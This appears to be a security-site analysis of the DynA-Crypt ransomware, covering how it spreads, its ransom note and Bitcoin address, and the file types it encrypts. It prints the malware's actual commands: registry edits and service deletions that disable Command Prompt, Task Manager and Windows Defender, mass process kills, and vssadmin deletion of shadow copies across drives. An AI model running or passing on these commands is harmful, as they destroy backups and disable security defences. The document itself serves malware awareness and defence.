DynA-Crypt Virus – Infection
DynA-Crypt ransomware could spread its infection with various methods. The payload file that initiates the malicious script for the ransomware in question is seen in the Wild. Your computer system will become infected if that payload is executed. One such payload dropper has been reported on the VirusTotal service which also drops a backdoor:
DynA-Crypt ransomware might also distribute its payload file on social media and file-sharing networks. Freeware distributed on the Internet can be presented as helpful but could also hide the malicious script for this cryptovirus. Refrain from opening files right after you have downloaded them, especially if they come from dubious sources like links and emails. Instead, you should scan them with a security tool, beforehand. Also you should do a check on the size and signatures of these files, for anything unusual. Read the tips for ransomware prevention from the forum to know more ways to avoid infection.
DynA-Crypt Virus – Information
DynA-Crypt ransomware is believed to be made with a Dynamite malware creation toolkit. Malware researchers have seen the similarities in the code.
DynA-Crypt ransomware executes Powershell commands, which shut down the administration part of the Windows Operating System almost entirely, along with many other features. Below are probably the most important commands, which the virus executes:
Disables the Command Prompt:
→REG add “HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System” /v DisableCMD /t REG_DWORD /d 2 /f
Disables your Task Manager:
→REG add “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System” /v DisableTaskMgr /t REG_DWORD /d 1 /f
Disables the anti-spyware Windows Defender service:
→net stop WinDefend; sc config WinDefend= disabled; REG add “HKLM\SYSTEM\CurrentControlSet\services\WinDefend” /v Start /t REG_DWORD /d 4 /f; REG add “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender” /v DisableAntiSpyware /t REG_DWORD /d 1 /f; sc delete windefend
DynA-Crypt also kills the following processes:
→kill -processname IExplore -Force; kill -processname MicrosoftEdge -Force
kill -processname Steam -Force
kill -processname Skype -Force
kill -processname Chrome -Force
kill -processname Firefox -Force
kill -processname ts3client_win64 -Force
kill -processname Origin -Force
kill -processname Word -Force
kill -processname Excel -Force
kill -processname Powerpoint -Force
kill -processname Pidgin -Force
kill -processname Opera -Force
kill -processname CyberGhost -Force
kill -processname iTunes -Force; kill -processname iTunesHelper -Force; kill -processname iPodService -Force
kill -processname vlc -Force
Commands in the code of the ransomware that set up a Keylogger:
Stops the Windows Update service:
→net stop wuauserv
Deletes the Shadow Volume Copies on all possible disk drives:
→net stop VSS; REG add “HKLM\SYSTEM\CurrentControlSet\services\VSS” /v Start /t REG_DWORD /d 4 /f; vssadmin delete shadows /for=c: /all /quiet; vssadmin delete shadows /for=d: /all /quiet; vssadmin delete shadows /for=e: /all /quiet; vssadmin delete shadows /for=f: /all /quiet; vssadmin delete shadows /for=g: /all /quiet; vssadmin delete shadows /for=x: /all /quiet; vssadmin delete shadows /for=y: /all /quiet; vssadmin delete shadows /for=z: /all /quiet
Except the logging of keystrokes, the DynA-Crypt virus creates screenshots, and tries to establish a remote connection. After all these commands come into play, a window pops up, showing you the ransom note.
This is how the note looks like:
The ransom note of DynA-Crypt reads the following:
All your important files are encrypted
Your computer has been blocked
If you want unlock send 50 $ BTC
To this wallet if not files will be
Randomly deleting every 5 minutes
From the note of the DynA-Crypt ransomware the following Bitcoin address is given for you to pay for unlocking your files – 1JzypNfNnJRWRFJFxNo5qAt13vYmxqeEz5. However, you should NOT under any circumstance pay the cybercriminals, nor contact them. Your files may not get restored, and nobody could give you a guarantee for that. Furthermore, giving money to these criminals will likely motivate them to spread more malware or do other criminal activity.
The following list contains all file extensions that the DynA-Crypt ransomware seeks to encrypt:
→.001, .jpg, .jpeg, .docx, .doc, .xlsx, .xls, .ppt, .pdf, .mp4, .mp3, .mov, .mkv, .png, .pst, .odt, .avi, .pptx, .msg, .rar, .mdb, .zip, .m4a, .csv
Every file that gets encrypted will receive the same extension appended to them, and that is the .crypt extension. Malware researchers believe that the encryption algorithm which is utilized by this ransomware is AES.
